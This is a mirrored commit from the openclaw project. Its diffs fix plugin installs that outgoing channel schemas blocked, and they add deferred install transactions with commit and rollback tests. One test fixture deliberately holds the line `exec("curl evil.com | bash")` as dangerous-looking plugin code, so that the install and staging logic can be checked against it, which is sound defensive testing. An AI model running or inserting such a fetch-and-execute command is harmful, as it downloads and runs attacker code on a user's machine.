mirror of
https://github.com/openclaw/openclaw.git
synced 2026-08-27 21:07:01 -06:00
fix(plugins): allow install when outgoing channel schema disagrees (#122984)
* fix(plugins): unblock upgrades rejected by outgoing channel schemas Recover only requested-plugin channel schema diagnostics, including channel keys different from the plugin ID. Keep incoming-schema validation and unrelated-error rejection intact. Consolidate duplicate config fixtures and remove an unnecessary error assertion; total LOC is net negative. Co-authored-by: felirami <6752178+felirami@users.noreply.github.com> * fix(plugins): retain source rollback until install records commit Use the existing deferred install transaction across managed sources. Record persistence completion at its owner and remove index/path-inferred compensation, keeping committed payloads intact on late refresh failures. Co-authored-by: felirami <6752178+felirami@users.noreply.github.com> * fix(plugins): preserve rollback causes and satisfy lint Keep both failures in AggregateError and its rollback cause. Document the pinned linter false positive for third-argument options and restore required test braces. * test(plugins): register intentional AggregateError lint exception --------- Co-authored-by: Peter Steinberger <steipete@gmail.com> Co-authored-by: felirami <6752178+felirami@users.noreply.github.com>
This commit is contained in:
felirami
@@ -2423,7 +2423,7 @@ src/cli/plugin-install-plan.ts 1
|
||||
src/cli/plugins-authoring-command.ts 8
|
||||
src/cli/plugins-cli.runtime.ts 2
|
||||
src/cli/plugins-command-helpers.ts 1
|
||||
src/cli/plugins-install-config.ts 3
|
||||
src/cli/plugins-install-config.ts 2
|
||||
src/cli/plugins-uninstall-command.ts 4
|
||||
src/cli/plugins-update-command.ts 5
|
||||
src/cli/ports.ts 9
|
||||
|
||||
@@ -136,24 +136,21 @@ describe("loadConfigForInstall", () => {
|
||||
hookMutation: { mode: "allowed" },
|
||||
pluginMutation: { mode: "allowed" },
|
||||
});
|
||||
});
|
||||
|
||||
it("returns valid source config unchanged", async () => {
|
||||
const cfg = { plugins: {} } as OpenClawConfig;
|
||||
readConfigFileSnapshotMock.mockResolvedValue(
|
||||
makeSnapshot({
|
||||
valid: true,
|
||||
sourceConfig: cfg,
|
||||
config: cfg,
|
||||
issues: [],
|
||||
}),
|
||||
);
|
||||
|
||||
const result = await loadConfigForInstall(discordNpmRequest);
|
||||
expect(result.config).toBe(cfg);
|
||||
});
|
||||
|
||||
it("falls back to snapshot config for explicit bundled-plugin reinstall when issues match the known upgrade failure", async () => {
|
||||
it.each([
|
||||
{ path: "channels.discord", message: "unknown channel id: discord" },
|
||||
{ path: "channels.discord", message: "invalid config for plugin discord: must be object" },
|
||||
{
|
||||
path: "channels.discord.accounts.work",
|
||||
message: "invalid config for plugin discord: must be object",
|
||||
},
|
||||
{
|
||||
path: "channels.other-channel",
|
||||
message: "invalid config for plugin discord: must be object",
|
||||
},
|
||||
])("recovers requested-plugin upgrade issue $path: $message", async (issue) => {
|
||||
const snapshotCfg = {
|
||||
plugins: { installs: { discord: { source: "path", installPath: "/gone" } } },
|
||||
} as unknown as OpenClawConfig;
|
||||
@@ -162,7 +159,7 @@ describe("loadConfigForInstall", () => {
|
||||
parsed: { plugins: { installs: { discord: {} } } },
|
||||
config: snapshotCfg,
|
||||
issues: [
|
||||
{ path: "channels.discord", message: "unknown channel id: discord" },
|
||||
issue,
|
||||
{ path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" },
|
||||
],
|
||||
}),
|
||||
@@ -179,40 +176,6 @@ describe("loadConfigForInstall", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("allows versioned npm:-prefixed bundled-plugin reinstall recovery", async () => {
|
||||
const snapshotCfg = {
|
||||
plugins: { installs: { discord: { source: "path", installPath: "/gone" } } },
|
||||
} as unknown as OpenClawConfig;
|
||||
readConfigFileSnapshotMock.mockResolvedValue(
|
||||
makeSnapshot({
|
||||
parsed: { plugins: { installs: { discord: {} } } },
|
||||
config: snapshotCfg,
|
||||
issues: [
|
||||
{ path: "channels.discord", message: "unknown channel id: discord" },
|
||||
{ path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" },
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const request = resolvePluginInstallRequestContext({
|
||||
rawSpec: "npm:@openclaw/discord@2026.5.22",
|
||||
});
|
||||
if (!request.ok) {
|
||||
throw new Error(request.error);
|
||||
}
|
||||
|
||||
expect(request.request.bundledPluginId).toBe("discord");
|
||||
expect(request.request.allowInvalidConfigRecovery).toBe(true);
|
||||
const result = await loadConfigForInstall(request.request);
|
||||
expect(result).toEqual({
|
||||
config: snapshotCfg,
|
||||
baseHash: "abc",
|
||||
writeOptions: installWriteOptions,
|
||||
hookMutation: { mode: "allowed" },
|
||||
pluginMutation: { mode: "allowed" },
|
||||
});
|
||||
});
|
||||
|
||||
it.each(["file:@openclaw/discord", "FILE:@openclaw/discord"])(
|
||||
"does not treat %s as an official plugin recovery request",
|
||||
(rawSpec) => {
|
||||
@@ -238,49 +201,50 @@ describe("loadConfigForInstall", () => {
|
||||
expect(request.request.installKind).toBe("plugin");
|
||||
});
|
||||
|
||||
it("allows versioned official npm spec reinstall recovery", async () => {
|
||||
const snapshotCfg = {
|
||||
plugins: {
|
||||
installs: { discord: { source: "npm", installPath: "/gone" } },
|
||||
load: { paths: ["/gone", "/keep"] },
|
||||
},
|
||||
channels: { discord: { token: "preserve-me" } },
|
||||
} as unknown as OpenClawConfig;
|
||||
readConfigFileSnapshotMock.mockResolvedValue(
|
||||
makeSnapshot({
|
||||
parsed: { plugins: { installs: { discord: {} }, load: { paths: ["/gone", "/keep"] } } },
|
||||
config: snapshotCfg,
|
||||
issues: [
|
||||
{ path: "channels.discord", message: "unknown channel id: discord" },
|
||||
{ path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" },
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const request = resolvePluginInstallRequestContext({
|
||||
rawSpec: "@openclaw/discord@2026.5.22",
|
||||
});
|
||||
if (!request.ok) {
|
||||
throw new Error(request.error);
|
||||
}
|
||||
|
||||
expect(request.request.bundledPluginId).toBe("discord");
|
||||
expect(request.request.allowInvalidConfigRecovery).toBe(true);
|
||||
const result = await loadConfigForInstall(request.request);
|
||||
expect(result).toEqual({
|
||||
config: {
|
||||
it.each(["@openclaw/discord@2026.5.22", "npm:@openclaw/discord@2026.5.22"])(
|
||||
"allows versioned official reinstall recovery for %s",
|
||||
async (rawSpec) => {
|
||||
const snapshotCfg = {
|
||||
plugins: {
|
||||
installs: { discord: { source: "npm", installPath: "/gone" } },
|
||||
load: { paths: ["/keep"] },
|
||||
load: { paths: ["/gone", "/keep"] },
|
||||
},
|
||||
channels: { discord: { token: "preserve-me" } },
|
||||
},
|
||||
baseHash: "abc",
|
||||
writeOptions: installWriteOptions,
|
||||
hookMutation: { mode: "allowed" },
|
||||
pluginMutation: { mode: "allowed" },
|
||||
});
|
||||
});
|
||||
} as unknown as OpenClawConfig;
|
||||
readConfigFileSnapshotMock.mockResolvedValue(
|
||||
makeSnapshot({
|
||||
parsed: { plugins: { installs: { discord: {} }, load: { paths: ["/gone", "/keep"] } } },
|
||||
config: snapshotCfg,
|
||||
issues: [
|
||||
{ path: "channels.discord", message: "unknown channel id: discord" },
|
||||
{ path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" },
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const request = resolvePluginInstallRequestContext({ rawSpec });
|
||||
if (!request.ok) {
|
||||
throw new Error(request.error);
|
||||
}
|
||||
|
||||
expect(request.request.bundledPluginId).toBe("discord");
|
||||
expect(request.request.allowInvalidConfigRecovery).toBe(true);
|
||||
const result = await loadConfigForInstall(request.request);
|
||||
expect(result).toEqual({
|
||||
config: {
|
||||
plugins: {
|
||||
installs: { discord: { source: "npm", installPath: "/gone" } },
|
||||
load: { paths: ["/keep"] },
|
||||
},
|
||||
channels: { discord: { token: "preserve-me" } },
|
||||
},
|
||||
baseHash: "abc",
|
||||
writeOptions: installWriteOptions,
|
||||
hookMutation: { mode: "allowed" },
|
||||
pluginMutation: { mode: "allowed" },
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("uses the canonical plugin install record to own a stale recovery load path", async () => {
|
||||
const snapshotCfg = {
|
||||
@@ -916,10 +880,28 @@ describe("loadConfigForInstall", () => {
|
||||
},
|
||||
);
|
||||
|
||||
it("rejects unrelated invalid config even during bundled-plugin reinstall recovery", async () => {
|
||||
it.each([
|
||||
{ path: "models.default", message: "invalid model ref" },
|
||||
{ path: "channels.discord", message: "invalid config for plugin telegram: must be object" },
|
||||
{
|
||||
path: "channels.discord",
|
||||
message: "invalid config for plugin discord-extra: must be object",
|
||||
},
|
||||
{ path: "channels.discord", message: "must be object" },
|
||||
{
|
||||
path: "plugins.entries.discord.config",
|
||||
message: "invalid config for plugin discord: must be object",
|
||||
},
|
||||
])("rejects unrelated issue $path: $message during plugin recovery", async (issue) => {
|
||||
readConfigFileSnapshotMock.mockResolvedValue(
|
||||
makeSnapshot({
|
||||
issues: [{ path: "models.default", message: "invalid model ref" }],
|
||||
issues: [
|
||||
{
|
||||
path: "channels.discord",
|
||||
message: "invalid config for plugin discord: must be object",
|
||||
},
|
||||
issue,
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Owns config snapshots, include boundaries, and recovery for plugin installation.
|
||||
import { readConfigFileSnapshotForWrite } from "../config/config.js";
|
||||
import type { OpenClawConfig } from "../config/types.openclaw.js";
|
||||
import type { ConfigValidationIssue, OpenClawConfig } from "../config/types.openclaw.js";
|
||||
import {
|
||||
resolveInstallConfigMutationPreflights,
|
||||
selectInstallMutationWriteOptions,
|
||||
@@ -35,9 +35,7 @@ export function resolveFullyBlockedConfigMutationReason(
|
||||
}
|
||||
|
||||
function buildInvalidPluginInstallConfigError(message: string): Error {
|
||||
const error = new Error(message);
|
||||
(error as { code?: string }).code = "INVALID_CONFIG";
|
||||
return error;
|
||||
return Object.assign(new Error(message), { code: "INVALID_CONFIG" });
|
||||
}
|
||||
|
||||
function assertPluginConfigMutationAllowed(preflight: ConfigMutationPreflight): void {
|
||||
@@ -53,8 +51,8 @@ function supportsPluginRecoveryIncludeShape(parsed: Record<string, unknown>): bo
|
||||
return supportsInstallConfigSingleTopLevelIncludeShape(parsed.plugins);
|
||||
}
|
||||
|
||||
function extractMissingPluginLoadPath(issue: { path?: string; message?: string }): string | null {
|
||||
if (issue.path !== "plugins.load.paths" || typeof issue.message !== "string") {
|
||||
function extractMissingPluginLoadPath(issue: ConfigValidationIssue): string | null {
|
||||
if (issue.path !== "plugins.load.paths") {
|
||||
return null;
|
||||
}
|
||||
const marker = "plugin path not found:";
|
||||
@@ -67,7 +65,7 @@ function extractMissingPluginLoadPath(issue: { path?: string; message?: string }
|
||||
}
|
||||
|
||||
function isOwnedMissingPluginLoadPathIssue(
|
||||
issue: { path?: string; message?: string },
|
||||
issue: ConfigValidationIssue,
|
||||
ownedLoadPaths: ReadonlySet<string>,
|
||||
env: NodeJS.ProcessEnv = process.env,
|
||||
): boolean {
|
||||
@@ -76,7 +74,7 @@ function isOwnedMissingPluginLoadPathIssue(
|
||||
}
|
||||
|
||||
function isAllowedPluginRecoveryIssue(
|
||||
issue: { path?: string; message?: string },
|
||||
issue: ConfigValidationIssue,
|
||||
request: PluginInstallRequestContext,
|
||||
ownedLoadPaths: ReadonlySet<string>,
|
||||
): boolean {
|
||||
@@ -87,13 +85,14 @@ function isAllowedPluginRecoveryIssue(
|
||||
return (
|
||||
(issue.path === `channels.${pluginId}` &&
|
||||
issue.message === `unknown channel id: ${pluginId}`) ||
|
||||
// The outgoing schema must not block its replacement. The validator names
|
||||
// the schema owner; a plugin may own a channel whose id differs from its own.
|
||||
(issue.path.startsWith("channels.") &&
|
||||
issue.message.startsWith(`invalid config for plugin ${pluginId}:`)) ||
|
||||
isOwnedMissingPluginLoadPathIssue(issue, ownedLoadPaths) ||
|
||||
(issue.path === `plugins.entries.${pluginId}` &&
|
||||
typeof issue.message === "string" &&
|
||||
issue.message.includes("requires compiled runtime output")) ||
|
||||
(issue.path === "tools.web.search.provider" &&
|
||||
typeof issue.message === "string" &&
|
||||
issue.message.includes(`plugin "${pluginId}"`))
|
||||
(issue.path === "tools.web.search.provider" && issue.message.includes(`plugin "${pluginId}"`))
|
||||
);
|
||||
}
|
||||
|
||||
@@ -135,7 +134,7 @@ async function collectRequestedPluginLocationBridgePaths(
|
||||
|
||||
function removeOwnedMissingPluginLoadPaths(
|
||||
cfg: OpenClawConfig,
|
||||
issues: readonly { path?: string; message?: string }[],
|
||||
issues: readonly ConfigValidationIssue[],
|
||||
ownedLoadPaths: ReadonlySet<string>,
|
||||
env: NodeJS.ProcessEnv,
|
||||
): OpenClawConfig {
|
||||
@@ -174,7 +173,7 @@ function removeOwnedMissingPluginLoadPaths(
|
||||
|
||||
async function resolveRequestedPluginInstallPaths(
|
||||
cfg: OpenClawConfig,
|
||||
issues: readonly { path?: string; message?: string }[],
|
||||
issues: readonly ConfigValidationIssue[],
|
||||
request: PluginInstallRequestContext,
|
||||
env: NodeJS.ProcessEnv,
|
||||
): Promise<Set<string>> {
|
||||
|
||||
@@ -25,6 +25,7 @@ import {
|
||||
loadPluginInstallRuntime,
|
||||
resolveEffectiveInstallMode,
|
||||
} from "./install-shared.js";
|
||||
import { copyPluginInstallTransactionRequest } from "./install-transaction.js";
|
||||
import {
|
||||
PLUGIN_INSTALL_ERROR_CODE,
|
||||
type InstallPluginResult,
|
||||
@@ -232,52 +233,54 @@ export async function installPluginFromNpmPackArchive(
|
||||
? "install"
|
||||
: targetMode;
|
||||
|
||||
const result = await installPluginFromManagedNpmRoot({
|
||||
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
|
||||
onInstallPolicyWarning: params.onInstallPolicyWarning,
|
||||
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
|
||||
config: params.config,
|
||||
packageName,
|
||||
prepareDependencySpec: async ({ npmRoot }) => {
|
||||
try {
|
||||
return {
|
||||
ok: true,
|
||||
...(await stageNpmPackArchiveInManagedRoot({
|
||||
archivePath: metadataResult.archivePath,
|
||||
npmRoot,
|
||||
packageName,
|
||||
version: metadataResult.metadata.version,
|
||||
integrity: metadataResult.metadata.integrity,
|
||||
shasum: metadataResult.metadata.shasum,
|
||||
tarballName: metadataResult.tarballName,
|
||||
})),
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `Failed to stage npm pack archive in managed npm root: ${String(error)}`,
|
||||
};
|
||||
}
|
||||
},
|
||||
displaySpec: metadataResult.archivePath,
|
||||
installPolicyRequest: {
|
||||
kind: "plugin-npm",
|
||||
requestedSpecifier: `npm-pack:${metadataResult.archivePath}`,
|
||||
source: { kind: "archive", authority: "user", mutable: true, network: false },
|
||||
},
|
||||
policyPreflightSourcePath: metadataResult.archivePath,
|
||||
policyPreflightSourcePathKind: "file",
|
||||
extensionsDir: params.extensionsDir,
|
||||
npmDir: npmBaseDir,
|
||||
timeoutMs,
|
||||
signal: params.signal,
|
||||
logger,
|
||||
mode,
|
||||
dryRun,
|
||||
expectedPluginId: params.expectedPluginId,
|
||||
npmResolution,
|
||||
...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}),
|
||||
});
|
||||
const result = await installPluginFromManagedNpmRoot(
|
||||
copyPluginInstallTransactionRequest(params, {
|
||||
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
|
||||
onInstallPolicyWarning: params.onInstallPolicyWarning,
|
||||
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
|
||||
config: params.config,
|
||||
packageName,
|
||||
prepareDependencySpec: async ({ npmRoot }) => {
|
||||
try {
|
||||
return {
|
||||
ok: true,
|
||||
...(await stageNpmPackArchiveInManagedRoot({
|
||||
archivePath: metadataResult.archivePath,
|
||||
npmRoot,
|
||||
packageName,
|
||||
version: metadataResult.metadata.version,
|
||||
integrity: metadataResult.metadata.integrity,
|
||||
shasum: metadataResult.metadata.shasum,
|
||||
tarballName: metadataResult.tarballName,
|
||||
})),
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `Failed to stage npm pack archive in managed npm root: ${String(error)}`,
|
||||
};
|
||||
}
|
||||
},
|
||||
displaySpec: metadataResult.archivePath,
|
||||
installPolicyRequest: {
|
||||
kind: "plugin-npm",
|
||||
requestedSpecifier: `npm-pack:${metadataResult.archivePath}`,
|
||||
source: { kind: "archive", authority: "user", mutable: true, network: false },
|
||||
},
|
||||
policyPreflightSourcePath: metadataResult.archivePath,
|
||||
policyPreflightSourcePathKind: "file",
|
||||
extensionsDir: params.extensionsDir,
|
||||
npmDir: npmBaseDir,
|
||||
timeoutMs,
|
||||
signal: params.signal,
|
||||
logger,
|
||||
mode,
|
||||
dryRun,
|
||||
expectedPluginId: params.expectedPluginId,
|
||||
npmResolution,
|
||||
...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}),
|
||||
}),
|
||||
);
|
||||
emitSuccessfulPluginInstallSecurityEvent(result, {
|
||||
dryRun,
|
||||
mode: policyMode,
|
||||
|
||||
@@ -930,6 +930,7 @@ describe("persistPluginInstall", () => {
|
||||
|
||||
it("rejects invalid authored plugin config even for a disabled install", async () => {
|
||||
const { persistPluginInstall } = await import("./install-persistence.js");
|
||||
let committed = false;
|
||||
const baseConfig = {
|
||||
plugins: {
|
||||
entries: {
|
||||
@@ -968,6 +969,9 @@ describe("persistPluginInstall", () => {
|
||||
},
|
||||
pluginId: "needs-config",
|
||||
enable: false,
|
||||
onCommitted: () => {
|
||||
committed = true;
|
||||
},
|
||||
install: {
|
||||
source: "npm",
|
||||
spec: "needs-config@1.0.0",
|
||||
@@ -976,6 +980,7 @@ describe("persistPluginInstall", () => {
|
||||
}),
|
||||
).rejects.toThrow("has invalid configured settings");
|
||||
|
||||
expect(committed).toBe(false);
|
||||
expect(enablePluginInConfigMock).not.toHaveBeenCalled();
|
||||
expect(writePersistedInstalledPluginIndexInstallRecordsWithLeaseMock).not.toHaveBeenCalled();
|
||||
expect(configWriteMock).not.toHaveBeenCalled();
|
||||
|
||||
@@ -484,6 +484,7 @@ export async function persistPluginInstall(params: {
|
||||
warningMessage?: string;
|
||||
runtime?: RuntimeEnv;
|
||||
persistenceLogger?: PluginInstallLogger;
|
||||
onCommitted?: () => void;
|
||||
}): Promise<OpenClawConfig> {
|
||||
const runtime = params.runtime ?? defaultRuntime;
|
||||
// Terminal diagnostics may contain paths/errors; management receives only producer-authored summaries.
|
||||
@@ -624,6 +625,8 @@ export async function persistPluginInstall(params: {
|
||||
}),
|
||||
{ command: "install" },
|
||||
);
|
||||
// The source transaction must survive later cleanup or registry-refresh failures.
|
||||
params.onCommitted?.();
|
||||
if (replacedInstallRemoval) {
|
||||
const removalResult = await tracePluginLifecyclePhaseAsync(
|
||||
"replaced install cleanup",
|
||||
|
||||
@@ -112,6 +112,7 @@ describe("plugin install persistence warning audiences", () => {
|
||||
async (audience) => {
|
||||
const { persistPluginInstall } = await import("./install-persistence.js");
|
||||
const warn = vi.fn();
|
||||
const onCommitted = vi.fn();
|
||||
const cleanupDetail = "npm stderr PRIVATE_NPM_MARKER /private/previous-source/workboard";
|
||||
const refreshDetail = "PRIVATE_REFRESH_MARKER /private/registry-source/workboard";
|
||||
const configuredSource = "/private/configured-source/workboard/index.js";
|
||||
@@ -133,7 +134,10 @@ describe("plugin install persistence warning audiences", () => {
|
||||
directoryRemoved: false,
|
||||
warnings: [cleanupDetail],
|
||||
});
|
||||
refreshPluginRegistryMock.mockRejectedValueOnce(new Error(refreshDetail));
|
||||
refreshPluginRegistryMock.mockImplementationOnce(async () => {
|
||||
expect(onCommitted).toHaveBeenCalledExactlyOnceWith();
|
||||
throw new Error(refreshDetail);
|
||||
});
|
||||
buildPluginSnapshotReportMock.mockReturnValue({
|
||||
plugins: [{ id: "workboard", origin: "config", source: configuredSource }],
|
||||
diagnostics: [],
|
||||
@@ -143,6 +147,7 @@ describe("plugin install persistence warning audiences", () => {
|
||||
snapshot,
|
||||
pluginId: "workboard",
|
||||
install,
|
||||
onCommitted,
|
||||
...(audience === "management" ? { persistenceLogger: { warn } } : {}),
|
||||
});
|
||||
|
||||
|
||||
@@ -12,6 +12,10 @@ import {
|
||||
resolvePluginNpmProjectDir,
|
||||
resolvePluginNpmProjectsDir,
|
||||
} from "./install-paths.js";
|
||||
import {
|
||||
requestDeferredPluginInstall,
|
||||
resolvePluginInstallTransaction,
|
||||
} from "./install-transaction.js";
|
||||
import {
|
||||
hasRetainedManagedNpmInstallMarker,
|
||||
markRetainedManagedNpmInstall,
|
||||
@@ -844,78 +848,90 @@ describe("installPluginFromNpmSpec", () => {
|
||||
expect(runCommandWithTimeoutMock.mock.calls).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("updates staged npm pack archives when dangerous-looking code is present", async () => {
|
||||
const stateDir = suiteTempRootTracker.makeTempDir();
|
||||
const npmRoot = path.join(stateDir, "npm");
|
||||
const packageName = "@openclaw/pack-demo";
|
||||
const archiveV1Path = path.join(stateDir, "openclaw-pack-demo-1.0.0.tgz");
|
||||
const archiveV2Path = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz");
|
||||
fs.writeFileSync(archiveV1Path, "v1 pack contents", "utf8");
|
||||
fs.writeFileSync(archiveV2Path, "v2 pack contents", "utf8");
|
||||
it.each(["commit", "rollback"] as const)(
|
||||
"settles staged npm pack updates with %s",
|
||||
async (settlement) => {
|
||||
const stateDir = suiteTempRootTracker.makeTempDir();
|
||||
const npmRoot = path.join(stateDir, "npm");
|
||||
const packageName = "@openclaw/pack-demo";
|
||||
const archiveV1Path = path.join(stateDir, "openclaw-pack-demo-1.0.0.tgz");
|
||||
const archiveV2Path = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz");
|
||||
fs.writeFileSync(archiveV1Path, "v1 pack contents", "utf8");
|
||||
fs.writeFileSync(archiveV2Path, "v2 pack contents", "utf8");
|
||||
|
||||
mockNpmViewAndInstallMany([
|
||||
{
|
||||
mockNpmViewAndInstallMany([
|
||||
{
|
||||
packageName,
|
||||
version: "1.0.0",
|
||||
pluginId: "pack-demo",
|
||||
npmRoot,
|
||||
integrity: "sha512-pack-demo-v1",
|
||||
shasum: "packdemoshav1",
|
||||
packArchivePath: archiveV1Path,
|
||||
indexJs: "export const ok = true;",
|
||||
},
|
||||
]);
|
||||
|
||||
const safeInstall = await installPluginFromNpmPackArchive({
|
||||
archivePath: archiveV1Path,
|
||||
npmDir: npmRoot,
|
||||
logger: { info: () => {}, warn: () => {} },
|
||||
});
|
||||
expect(safeInstall.ok).toBe(true);
|
||||
const npmProjectRoot = resolvePluginNpmProjectDir({
|
||||
npmDir: npmRoot,
|
||||
packageName,
|
||||
version: "1.0.0",
|
||||
pluginId: "pack-demo",
|
||||
npmRoot,
|
||||
integrity: "sha512-pack-demo-v1",
|
||||
shasum: "packdemoshav1",
|
||||
packArchivePath: archiveV1Path,
|
||||
indexJs: "export const ok = true;",
|
||||
},
|
||||
]);
|
||||
});
|
||||
const projectBefore = readTextFileTree(npmProjectRoot);
|
||||
|
||||
const safeInstall = await installPluginFromNpmPackArchive({
|
||||
archivePath: archiveV1Path,
|
||||
npmDir: npmRoot,
|
||||
logger: { info: () => {}, warn: () => {} },
|
||||
});
|
||||
expect(safeInstall.ok).toBe(true);
|
||||
const npmProjectRoot = resolvePluginNpmProjectDir({
|
||||
npmDir: npmRoot,
|
||||
packageName,
|
||||
});
|
||||
const projectBefore = readTextFileTree(npmProjectRoot);
|
||||
mockNpmViewAndInstallMany([
|
||||
{
|
||||
packageName,
|
||||
version: "2.0.0",
|
||||
pluginId: "pack-demo",
|
||||
npmRoot,
|
||||
integrity: "sha512-pack-demo-v2",
|
||||
shasum: "packdemoshav2",
|
||||
packArchivePath: archiveV2Path,
|
||||
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
||||
},
|
||||
]);
|
||||
|
||||
mockNpmViewAndInstallMany([
|
||||
{
|
||||
const update = await installPluginFromNpmPackArchive(
|
||||
requestDeferredPluginInstall({
|
||||
archivePath: archiveV2Path,
|
||||
npmDir: npmRoot,
|
||||
mode: "update",
|
||||
logger: { info: () => {}, warn: () => {} },
|
||||
}),
|
||||
);
|
||||
|
||||
expect(update.ok).toBe(true);
|
||||
if (!update.ok) {
|
||||
return;
|
||||
}
|
||||
const updateGenerationRoot = resolvePluginNpmGenerationProjectDir({
|
||||
npmDir: npmRoot,
|
||||
packageName,
|
||||
version: "2.0.0",
|
||||
pluginId: "pack-demo",
|
||||
npmRoot,
|
||||
integrity: "sha512-pack-demo-v2",
|
||||
shasum: "packdemoshav2",
|
||||
packArchivePath: archiveV2Path,
|
||||
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
||||
},
|
||||
]);
|
||||
|
||||
const update = await installPluginFromNpmPackArchive({
|
||||
archivePath: archiveV2Path,
|
||||
npmDir: npmRoot,
|
||||
mode: "update",
|
||||
logger: { info: () => {}, warn: () => {} },
|
||||
});
|
||||
|
||||
expect(update.ok).toBe(true);
|
||||
if (!update.ok) {
|
||||
return;
|
||||
}
|
||||
const updateGenerationRoot = resolvePluginNpmGenerationProjectDir({
|
||||
npmDir: npmRoot,
|
||||
packageName,
|
||||
generationKey: [
|
||||
packageName,
|
||||
"2.0.0",
|
||||
`${packageName}@2.0.0`,
|
||||
"sha512-pack-demo-v2",
|
||||
"packdemoshav2",
|
||||
].join("\n"),
|
||||
});
|
||||
expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);
|
||||
expect(readTextFileTree(updateGenerationRoot)).not.toEqual(projectBefore);
|
||||
});
|
||||
generationKey: [
|
||||
packageName,
|
||||
"2.0.0",
|
||||
`${packageName}@2.0.0`,
|
||||
"sha512-pack-demo-v2",
|
||||
"packdemoshav2",
|
||||
].join("\n"),
|
||||
});
|
||||
expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);
|
||||
expect(readTextFileTree(updateGenerationRoot)).not.toEqual(projectBefore);
|
||||
const transaction = resolvePluginInstallTransaction(update);
|
||||
expect(transaction).toBeDefined();
|
||||
await transaction?.[settlement]();
|
||||
expect(
|
||||
fs.existsSync(path.join(updateGenerationRoot, "node_modules", "@openclaw", "pack-demo")),
|
||||
).toBe(settlement === "commit");
|
||||
expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);
|
||||
},
|
||||
);
|
||||
|
||||
it("installs staged npm pack archives with dangerous-looking code", async () => {
|
||||
const stateDir = suiteTempRootTracker.makeTempDir();
|
||||
|
||||
@@ -3,183 +3,122 @@ import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js";
|
||||
import {
|
||||
resolveDefaultPluginNpmDir,
|
||||
resolvePluginNpmGenerationProjectDir,
|
||||
resolvePluginNpmProjectDir,
|
||||
} from "./install-paths.js";
|
||||
|
||||
const compensationTempDirs = useAutoCleanupTempDirTracker(afterEach);
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
applyUninstall: vi.fn(),
|
||||
clawhubInstall: vi.fn(),
|
||||
installRecords: vi.fn(),
|
||||
npmInstall: vi.fn(),
|
||||
pathInstall: vi.fn(),
|
||||
persistInstall: vi.fn(),
|
||||
planUninstall: vi.fn(),
|
||||
}));
|
||||
installPackageDir,
|
||||
requestDeferredPackageDirInstall,
|
||||
resolvePackageDirInstallTransaction,
|
||||
} from "../infra/install-package-dir.js";
|
||||
import {
|
||||
attachPluginInstallTransaction,
|
||||
isPluginInstallCommitDeferred,
|
||||
} from "./install-transaction.js";
|
||||
import type { ManagedPluginSourceInstallRequest } from "./management-service.js";
|
||||
|
||||
const tempDirs = useAutoCleanupTempDirTracker(afterEach);
|
||||
const mocks = vi.hoisted(() => ({ install: vi.fn(), persist: vi.fn() }));
|
||||
vi.mock("./clawhub.js", () => ({
|
||||
installPluginFromClawHub: (...args: unknown[]) => mocks.clawhubInstall(...args),
|
||||
installPluginFromClawHub: (...args: unknown[]) => mocks.install(...args),
|
||||
}));
|
||||
vi.mock("./git-install.js", () => ({
|
||||
installPluginFromGitSpec: (...args: unknown[]) => mocks.install(...args),
|
||||
}));
|
||||
|
||||
vi.mock("./install.js", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("./install.js")>()),
|
||||
installPluginFromNpmSpec: (...args: unknown[]) => mocks.npmInstall(...args),
|
||||
installPluginFromPath: (...args: unknown[]) => mocks.pathInstall(...args),
|
||||
installPluginFromNpmSpec: (...args: unknown[]) => mocks.install(...args),
|
||||
installPluginFromNpmPackArchive: (...args: unknown[]) => mocks.install(...args),
|
||||
installPluginFromPath: (...args: unknown[]) => mocks.install(...args),
|
||||
}));
|
||||
|
||||
vi.mock("./install-persistence.js", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("./install-persistence.js")>()),
|
||||
persistPluginInstall: (...args: unknown[]) => mocks.persistInstall(...args),
|
||||
persistPluginInstall: (...args: unknown[]) => mocks.persist(...args),
|
||||
}));
|
||||
|
||||
vi.mock("./installed-plugin-index-records.js", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("./installed-plugin-index-records.js")>()),
|
||||
loadInstalledPluginIndexInstallRecords: (...args: unknown[]) => mocks.installRecords(...args),
|
||||
}));
|
||||
|
||||
vi.mock("./uninstall.js", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("./uninstall.js")>()),
|
||||
applyPluginUninstallDirectoryRemoval: (...args: unknown[]) => mocks.applyUninstall(...args),
|
||||
planPluginUninstall: (...args: unknown[]) => mocks.planUninstall(...args),
|
||||
}));
|
||||
|
||||
const { installManagedPluginSource } = await import("./management-service.js");
|
||||
